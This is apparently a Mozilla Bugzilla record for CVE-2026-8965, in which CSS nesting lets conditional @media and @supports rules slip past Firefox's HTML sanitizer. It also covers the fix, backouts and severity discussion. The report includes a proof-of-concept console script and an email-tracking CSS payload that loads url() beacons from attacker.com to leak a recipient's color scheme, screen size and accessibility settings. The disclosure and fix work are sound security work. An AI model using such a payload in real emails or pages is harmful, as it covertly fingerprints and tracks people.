Closed Bug 2025740 (CVE-2026-8965) Opened 5 months ago Closed 5 months ago

CSS Nesting Bypasses nsTreeSanitizer Rule Filtering

Categories

(Core :: DOM: Security, defect)

defect

Tracking

()

RESOLVED FIXED
151 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 --- wontfix
firefox149 --- wontfix
firefox150 --- wontfix
firefox151 + fixed

People

(Reporter: mirzashihab2, Assigned: emilio)

References

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main151+])

Attachments

(4 files)

CSS Nesting Bypasses nsTreeSanitizer Rule Filtering

Summary

Firefox's HTML sanitizer (nsTreeSanitizer) is designed to strip conditional CSS rules like @media, @supports, and @container from untrusted HTML. These rules are blocked because they can be abused to fingerprint users — for example, detecting screen size, dark mode preference, or accessibility settings via conditional url() loads.

However, CSS nesting (shipped in Firefox 117) introduced a gap: conditional rules nested inside a regular style rule are never checked by the sanitizer. The sanitizer only filters top-level CSS rules, so an attacker can wrap any blocked rule inside a style rule and it passes through untouched.

The developer who wrote this code was aware of the gap and left a TODO comment — but it was never addressed:

// TODO(emilio, nesting): sanitize nested CSS rules, probably?

Affected Component

  • servo/components/style/stylesheets/stylesheet.rs (line 456) — sanitization loop
  • dom/base/nsTreeSanitizer.cpp — HTML sanitizer entry points

Severity

Moderate — privacy bypass / information disclosure via CSS-based fingerprinting in contexts where the sanitizer is supposed to prevent it.

Affected Versions

  • Firefox 117+ (CSS nesting shipped in 117)
  • Firefox ESR 128+ (ESR 115 predates CSS nesting)
  • Thunderbird (all versions using Gecko 117+)

Steps to Reproduce

Setup

  1. Open Firefox (tested on latest release, Windows)
  2. Go to about:config and set devtools.chrome.enabled to true
  3. Open the Browser Console with Ctrl+Shift+J (this opens a separate window — not the Web Console from F12)

Test

Paste the following into the Browser Console input field at the bottom and press Enter:

(function() {
  var pu = Cc["@mozilla.org/parserutils;1"].getService(Ci.nsIParserUtils);

  // Test: nested @media inside a style rule (should be stripped, but isn't)
  var input = '<style>div { color: green; @media (min-width: 1px) { color: red !important; } }</style><div>TEST</div>';
  var output = pu.sanitize(input, pu.SanitizerAllowStyle);
  console.log("=== Nested @media (CSS nesting) ===");
  console.log("INPUT: ", input);
  console.log("OUTPUT:", output);
  console.log("@media survived?", output.includes("@media"));

  // Test: nested @supports
  var input2 = '<style>div { @supports (display: grid) { color: blue; } }</style><div>TEST</div>';
  var output2 = pu.sanitize(input2, pu.SanitizerAllowStyle);
  console.log("\n=== Nested @supports ===");
  console.log("@supports survived?", output2.includes("@supports"));

  // Control: top-level @media IS correctly stripped
  var input3 = '<style>@media (min-width: 1px) { div { color: red; } }</style><div>TEST</div>';
  var output3 = pu.sanitize(input3, pu.SanitizerAllowStyle);
  console.log("\n=== Control: top-level @media ===");
  console.log("Top-level @media stripped?", !output3.includes("@media"));
})();

Expected Result (if not vulnerable)

All three tests should show conditional rules stripped:

@media survived? false
@supports survived? false
Top-level @media stripped? true

Actual Result (vulnerable)

@media survived? true        <-- BYPASS: nested @media passes through
@supports survived? true     <-- BYPASS: nested @supports passes through
Top-level @media stripped? true   <-- correct: top-level rules are filtered

The sanitizer correctly strips top-level @media and @supports, but identical rules nested inside a style rule via CSS nesting are not checked and pass through unchanged.

Security Impact

Who is affected

The sanitizer with SanitizerAllowStyle is used in:

  1. Clipboard paste (dom/events/Clipboard.cpp:546) — pasting HTML into Firefox uses the sanitizer. An attacker who controls clipboard content can inject fingerprinting CSS.

  2. Thunderbird email rendering — this is the highest-impact context. Thunderbird uses nsTreeSanitizer with SanitizerAllowStyle to sanitize HTML emails. The RemoveConditionalCSSFromSubtree method (which calls into the same code path) exists specifically to strip conditional CSS from email for privacy. Every email opened could fingerprint the recipient.

  3. Any consumer of nsIParserUtils.sanitize() with the SanitizerAllowStyle flag.

What an attacker can learn

By combining nested conditional CSS rules with url() tracking pixels, an attacker can detect:

  • Screen dimensions: @media (min-width: ...) / @media (max-width: ...)
  • Dark mode preference: @media (prefers-color-scheme: dark)
  • Accessibility settings: @media (prefers-reduced-motion: reduce), @media (prefers-contrast: more)
  • Browser feature support: @supports (display: grid), @supports (container-type: inline-size)
  • Print vs screen: @media print
  • Device pixel ratio: @media (min-resolution: 2dppx)
  • Orientation: @media (orientation: portrait)

Realistic attack payload (email tracking)

An attacker sends an email containing:

<style>
.content {
  @media (prefers-color-scheme: dark) {
    background: url("https://attacker.com/t?dark=1");
  }
  @media (prefers-color-scheme: light) {
    background: url("https://attacker.com/t?dark=0");
  }
  @media (min-width: 1200px) {
    list-style: url("https://attacker.com/t?wide=1");
  }
  @media (max-width: 768px) {
    list-style: url("https://attacker.com/t?mobile=1");
  }
  @media (prefers-reduced-motion: reduce) {
    border-image: url("https://attacker.com/t?reduced_motion=1");
  }
}
</style>
<div class="content">Hey, check out this link...</div>

When the recipient opens the email, the conditional url() loads fire based on their environment, leaking their screen size, color scheme, and accessibility preferences to the attacker's server. The sanitizer was designed to block exactly this, but CSS nesting bypasses it.

Root Cause

In servo/components/style/stylesheets/stylesheet.rs, the sanitization loop at line 451-475 iterates over parsed CSS rules and checks each one against SanitizationKind::allows(). However, it only checks top-level rules. When a CssRule::Style (regular style rule) is encountered, it is always allowed (line 367), and its entire text — including any nested rules parsed via CSS nesting — is copied verbatim to the sanitized output.

The NestedRuleParser (line 694 of rule_parser.rs) accepts @media, @supports, @container, @layer, @scope, and more inside style rules. None of these nested rules are ever passed through SanitizationKind::allows().

Secondary Bug: SanitizeInlineStyle ignores its parameter

In dom/base/nsTreeSanitizer.cpp:1146, the function SanitizeInlineStyle accepts a StyleSanitizationKind parameter but hardcodes StyleSanitizationKind::Standard:

SanitizeStyleSheet(styleText, sanitizedStyle, aElement->OwnerDoc(),
                   aElement->GetBaseURI(), StyleSanitizationKind::Standard);
//                                         ^^^ should be aSanitizationKind

This means RemoveConditionalCSSFromSubtree (line 1162-1163) passes NoConditionalRules but it is silently ignored. In this case Standard is more restrictive so it over-sanitizes rather than under-sanitizes, but the parameter being ignored is still a bug.

Suggested Fix

Modify the sanitization loop in stylesheet.rs to recursively check nested rules within StyleRule against the sanitization filter. The simplest approach: when serializing an allowed CssRule::Style for sanitized output, also iterate its nested CssRules and strip any that SanitizationKind::allows() would reject.

Also fix SanitizeInlineStyle to pass through its aSanitizationKind parameter instead of hardcoding Standard.

Flags: sec-bounty?
Group: firefox-core-security → core-security
Component: Security → DOM: Security
Flags: needinfo?(emilio)
Product: Firefox → Core
Duplicate of this bug: 2025735

Ugh, so I remember leaving that comment when writing the first pass of nesting (bug 1833536), I guess I never came back to it. Can I get a sec rating?

I think we only use this in Firefox for copy-paste... Given bug 1602843 and so was a sec-moderate and was way worse, I guess this would also be sec-moderate? It mostly allows exfiltrating stuff.

For Thunderbird the story is kinda sad in general, see bug 1780361.

Flags: needinfo?(emilio) → needinfo?(dveditz)
See Also: → 1780361

Actually, the copy-paste scenario already exists in a sense, bug 1945317.

I don't think this is a Firefox security bug in that case probably? Though I guess we allow loading more stuff this way.

Attached file (secure)

This is not ideal, but should do for now.

Ideally we'd sanitize child rules individually or so, but doing so
breaks how we sanitize and requires doing significant surgery on the
original input, or re-serialize (which is also not wanted,
see bug 1602843).

Assignee: nobody → emilio
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Attached file (secure)

This only affects the conditional CSS stuff that thunderbird uses. Test
that @keyframes is preserved as intended.

Proposed fix attached. Two changes:

  1. servo/components/style/stylesheets/stylesheet.rs — After top-level rule
    filtering, recursively walks nested rules inside CssRule::Style and strips
    any that SanitizationKind::allows() rejects. Uses BFS to avoid holding
    lock guards across recursive calls. Re-serializes via to_css() after
    stripping, replacing the previous raw-slice approach.

  2. dom/base/nsTreeSanitizer.cpp:1146 — SanitizeInlineStyle now passes
    through its aSanitizationKind parameter instead of hardcoding Standard.

  3. servo/ports/geckolib/glue.rs — Adjusted for CssString output type.

Happy to iterate on review feedback.

Thanks for the fast turnaround Emilio. Understood on the simpler
approach - avoiding re-serialization makes sense given bug 1602843.

For the sec rating discussion: the delta over bug 1945317 is that
CSS nesting allows conditional rules (@media, @supports) through
the sanitizer, which enables environment-dependent exfiltration -
screen size, color scheme, accessibility settings - not just static
resource loads. That conditionality is specifically what the
sanitizer's conditional-rule stripping was designed to prevent.

Happy to help with anything else needed.

Thanks Emilio for fixing this up so quickly.

Group: core-security → dom-core-security

(In reply to Emilio Cobos Álvarez [:emilio] from comment #3)

fingerprinting issues are sec-low, and this one appears to require manipulating the user to copy and paste specific targets in addition.

Flags: needinfo?(dveditz)
Pushed by ealvarez@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/2e6ba9f86e6c https://hg.mozilla.org/integration/autoland/rev/f02c0b3b73dc Require all nested rules to be acceptable for sanitization. r=firefox-style-system-reviewers,dshin https://github.com/mozilla-firefox/firefox/commit/ad00cac75e5a https://hg.mozilla.org/integration/autoland/rev/b97b64f8304f Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster
Pushed by amarc@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/fef8de03c85d https://hg.mozilla.org/integration/autoland/rev/f7325e2c3bb0 Revert "Bug 2025740 - Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster" for causing multiple failures
Pushed by ealvarez@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/41b16f5d9590 https://hg.mozilla.org/integration/autoland/rev/d74794bdcbfe Require all nested rules to be acceptable for sanitization. r=firefox-style-system-reviewers,dshin https://github.com/mozilla-firefox/firefox/commit/8c8d2900b8f9 https://hg.mozilla.org/integration/autoland/rev/3613094b3c63 Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster
Pushed by asilaghi@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/35bada9b2b67 https://hg.mozilla.org/integration/autoland/rev/4703ef734e5d Revert "Bug 2025740 - Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster" for causing reftest and bc failures

Backout for causing reftests and bc failures

Backout link
Push with failure
Failure log
Failure log for reftests
Failure line TEST-UNEXPECTED-FAIL | toolkit/components/printing/tests/browser_modal_resize.js | testResizing - Navigation element navigateHome is hidden

Flags: needinfo?(emilio)
Flags: needinfo?(emilio)
Pushed by ealvarez@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/02ce0fb9da91 https://hg.mozilla.org/integration/autoland/rev/ecc7c7d03dc0 Require all nested rules to be acceptable for sanitization. r=firefox-style-system-reviewers,dshin https://github.com/mozilla-firefox/firefox/commit/a83498440fdf https://hg.mozilla.org/integration/autoland/rev/7011c13cdd6d Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster
Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 151 Branch

The patch landed in nightly and beta is affected.
:emilio, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(emilio)

Not sure we want to uplift this, won't apply cleanly and somewhat long-standing... Thoughts?

Flags: needinfo?(emilio) → needinfo?(tschuster)

I don't think we care too much about this in Firefox, but I imagine Thunderbird would appreciate having this in ESR?

Flags: needinfo?(tschuster)

(In reply to Pulsebot from comment #11)

Pushed by ealvarez@mozilla.com:
https://github.com/mozilla-firefox/firefox/commit/2e6ba9f86e6c
https://hg.mozilla.org/integration/autoland/rev/f02c0b3b73dc
Require all nested rules to be acceptable for sanitization.
r=firefox-style-system-reviewers,dshin
https://github.com/mozilla-firefox/firefox/commit/ad00cac75e5a
https://hg.mozilla.org/integration/autoland/rev/b97b64f8304f
Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster

Perfherder has detected a browsertime performance change from push b97b64f8304faa717f39a8c31a82b4cb0027722b.

No action is required from the author; this comment is provided for informational purposes only.

Improvement Test Platform Options Absolute values [old vs new] Performance Profiles
58% microsoft PerceptualSpeedIndex (doc) linux2404-64-shippable cold fission webrender 1,405.83 ms -> 593.24 ms Before/After

Need Help or Information?

If you have any questions, please reach out to fbilt@mozilla.com. Alternatively, you can find help on Slack by joining #perf-help, and on Matrix you can find help by joining #perftest.

Details of the alert can be found in the alert summary, including links to graphs and comparisons for each of the affected tests.

Keywords: perf-alert

Kai, Magnus: we weren't going to uplift this for Firefox, but you should check if the Thunderbird impacts are more serious

Flags: needinfo?(mkmelin+mozilla)
Flags: needinfo?(kaie)
Flags: needinfo?(kaie)

Thunderbird blocks remote content by default. We do sanitize css by default, though that's something we should re-consider IMHO. I think we're fine.

[I don't actually see how this is an issue in Firefox in any practical manner. Fingerprinting sure, in theory, but how would the attacker get to the clipboard without the user loading their page, and by then all that fingerprinting info is already obtainable at page load time.]

Flags: needinfo?(mkmelin+mozilla)

Thanks for making us aware. Discussed with Justin.

The bug effectively re-enables the attack that we had tried to fix in bug 1530106 a few years ago. The original issue was given sec-high. The issue is that users can be tricked into signing content they didn't see, and the recipients might falsely assume that it was intentionally sent by the sender.

It would be useful to get that fixed on 140, if it's doable without much hassle.

(In reply to Pulsebot from comment #14)

Pushed by asilaghi@mozilla.com:
https://github.com/mozilla-firefox/firefox/commit/35bada9b2b67
https://hg.mozilla.org/integration/autoland/rev/4703ef734e5d
Revert "Bug 2025740 - Pass the right sanitization kind through
SanitizeInlineStyle. r=tschuster" for causing reftest and bc failures

Perfherder has detected a browsertime performance change from push 4703ef734e5dfb446c7ffd69e21d6b16d2cd156b.

No action is required from the author; this comment is provided for informational purposes only.

Improvement Test Platform Options Absolute values [old vs new] Performance Profiles
11% ebay largestContentfulPaint (doc) linux2404-64-shippable fission warm webrender 164.33 ms -> 146.17 ms Before/After
2% ebay SpeedIndex (doc) linux2404-64-shippable fission warm webrender 2,038.96 ms -> 1,993.54 ms Before/After

Need Help or Information?

If you have any questions, please reach out to fbilt@mozilla.com. Alternatively, you can find help on Slack by joining #perf-help, and on Matrix you can find help by joining #perftest.

Details of the alert can be found in the alert summary, including links to graphs and comparisons for each of the affected tests.

Regressions: 2029162
Regressions: 2029595
Flags: sec-bounty? → sec-bounty-
QA Whiteboard: [sec] [qa-triage-done-c152/b151] [qa-ver-needed-c152/b151]
Flags: qe-verify+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main151+][adv-esr115.36+][adv-esr140.11+]
Whiteboard: [client-bounty-form][adv-main151+][adv-esr115.36+][adv-esr140.11+] → [client-bounty-form][adv-main151+]
Alias: CVE-2026-8965
Flags: sec-bounty-hof+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: